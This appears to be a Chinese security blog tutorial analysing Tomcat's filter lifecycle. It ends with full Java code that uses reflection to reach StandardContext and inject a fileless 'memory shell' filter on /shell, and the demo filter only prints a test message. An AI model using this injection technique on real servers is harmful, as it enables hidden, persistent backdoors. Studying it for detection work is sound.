Tomcat Filter内存马实现

tomcat基础部分

Tomcat的主要功能

tomcat作为一个 Web 服务器,实现了两个非常核心的功能:

  • Http 服务器功能: 进行 Socket 通信(基于 TCP/IP),解析 HTTP 报文
  • Servlet 容器功能: 加载和管理 Servlet,由 Servlet 具体负责处理 Request 请求 image.png

以上两个功能,分别对应着tomcat的两个核心组件连接器(Connector)和容器(Container),连接器负责对外交流(完成 Http 服务器功能),容器负责内部处理(完成 Servlet 容器功能)。

image.png

  • Server
    Server 服务器的意思,代表整个 tomcat 服务器,一个 tomcat 只有一个 Server Server 中包含至少一个 Service 组件,用于提供具体服务。
  • Service
    服务是 Server 内部的组件,一个Server可以包括多个Service。它将若干个 Connector 组件绑定到一个 Container
  • Connector
    称作连接器,是 Service 的核心组件之一,一个 Service 可以有多个 Connector,主要连接客户端请求,用于接受请求并将请求封装成 Request 和 Response,然后交给 Container 进 行处理,Container 处理完之后在交给 Connector 返回给客户端。
  • Container
    负责处理用户的 servlet 请求

Connector连接器

连接器主要完成以下三个核心功能:

  • socket 通信,也就是网络编程
  • 解析处理应用层协议,封装成一个 Request 对象
  • 将 Request 转换为 ServletRequest,将 Response 转换为 ServletResponse

以上分别对应三个组件 EndPoint、Processor、Adapter 来完成。Endpoint 负责提供请求字节流给Processor,Processor 负责提供 Tomcat 定义的 Request 对象给 Adapter,Adapter 负责提供标准的 ServletRequest 对象给 Servlet 容器。

image.png

Container容器

Container组件又称作Catalina,其是Tomcat的核心。在Container中,有4种容器,分别是Engine、Host、Context、Wrapper。这四种容器成套娃式的分层结构设计。

image.png

四种容器的作用:

  • Engine
    表示整个 Catalina 的 Servlet 引擎,用来管理多个虚拟站点,一个 Service 最多只能有一个 Engine,但是一个引擎可包含多个 Host
  • Host
    代表一个虚拟主机,或者说一个站点,可以给 Tomcat 配置多个虚拟主机地址,而一个虚拟主机下可包含多个 Context
  • Context
    表示一个 Web 应用程序,每一个Context都有唯一的path,一个Web应用可包含多个 Wrapper
  • Wrapper
    表示一个Servlet,负责管理整个 Servlet 的生命周期,包括装载、初始化、资源回收等

如以下图,a.com和b.com分别对应着两个Host

image.png

Tomcat运行流程结构:

image.png

image.png

Filter生命周期分析

通过上面的基础知识可以看到,Tomcat的web启动后在初始化Context的时候会调用StandardContext来实现部分功能,其中初始化每个Filter就是在这里完成的

image.png

FilterDef相关结构

image.png

调试查看FilterDef在调用过程中主要存储的是FilterName和相关实现类

image.png

因为过滤器通常会匹配路由进行触发,但通过StandardContext->filterStart并没有发现将路由+过滤器配置进行初始化。

通过调试发现FilterMap中会将Filter和路由进行匹配关联

image.png

跟踪调用链发现FilterMaps在ContextConfig进行了初始化

image.png

分析到现在已经可以推断出Filter从初始化到应用这个过程强关联的几个类:FilterDef FilterConfig FilterMap

Filter调用链分析

在自定义中Filter下断点,调试过程中发现filterChain在创建时会对访问路径和过滤器注册的路由进行匹配

org/apache/catalina/core/StandardWrapperValve.class

image.png

跟进 createFilterChain发现程序获取filterMaps后会判断访问的路径是否符合filter的拦截路径,如果匹配则会执行addFilter

image.png

在进行路径匹配时会调用FilterMap来获取过滤器注册的路由,证明前面的推断并没有错

image.png

获取filterChain最后会进行doFilter来执行Filter的逻辑

image.png

所以构造Filter内存马的思路为:构建恶意Filter,实现FilterDef FilterMap FilterConfig 并将 FilterConfig注册到FilterConfigs

通过上面对Filter生命周期分析,要实现动态注册恶意Filter,首先需要获取StandardContext

由于没有接口可以直接获取到,所以这里需要用到反射来实现StandardContext

ServletContext servletContext = request.getSession().getServletContext();
Field field_ApplicationContext = servletContext.getClass().getDeclaredField("context");
field_ApplicationContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field_ApplicationContext.get(servletContext);
  
Field field_StandardContext = applicationContext.getClass().getDeclaredField("context");
field_StandardContext.setAccessible(true);
StandardContext standardContext = (StandardContext) field_StandardContext.get(applicationContext);

相关代码

package com.testFilter;

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;

@WebServlet(name = "TestMemshell")
public class TestMemshell extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        ServletContext servletContext = request.getSession().getServletContext();
        try {
            String memshellName = "shell";
            Field field_ApplicationContext = servletContext.getClass().getDeclaredField("context");
            field_ApplicationContext.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) field_ApplicationContext.get(servletContext);

            Field field_StandardContext = applicationContext.getClass().getDeclaredField("context");
            field_StandardContext.setAccessible(true);
            StandardContext standardContext = (StandardContext) field_StandardContext.get(applicationContext);

            Field field_FilterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
            field_FilterConfigs.setAccessible(true);
            Map filterConfigs = (Map) field_FilterConfigs.get(standardContext);
            if(filterConfigs.get(memshellName)==null){
                Filter filter = new Filter() {
                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        response.getWriter().write("memshell injectsucc");
                        return;
                    }

                    @Override
                    public void destroy() {

                    }
                };
        //实现FilterDef
                FilterDef filterDef = new FilterDef();
                filterDef.setFilter(filter);
                filterDef.setFilterName(memshellName);
                filterDef.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(filterDef);
        //实现FilterMap
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/shell");
                filterMap.setFilterName(memshellName);
                System.out.println(DispatcherType.REQUEST.name());
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(filterMap);
        // 
                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
                constructor.setAccessible(true);
                FilterConfig filterConfig = (FilterConfig) constructor.newInstance(standardContext,filterDef);
                filterConfigs.put(memshellName,filterConfig);

            }else{
                response.getWriter().write("memshell injected");
            }

        } catch (NoSuchFieldException | IllegalAccessException | NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        }

    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        doPost(request,response);
    }
}

文章参考文献

Tomcat启动过程原理详解

-->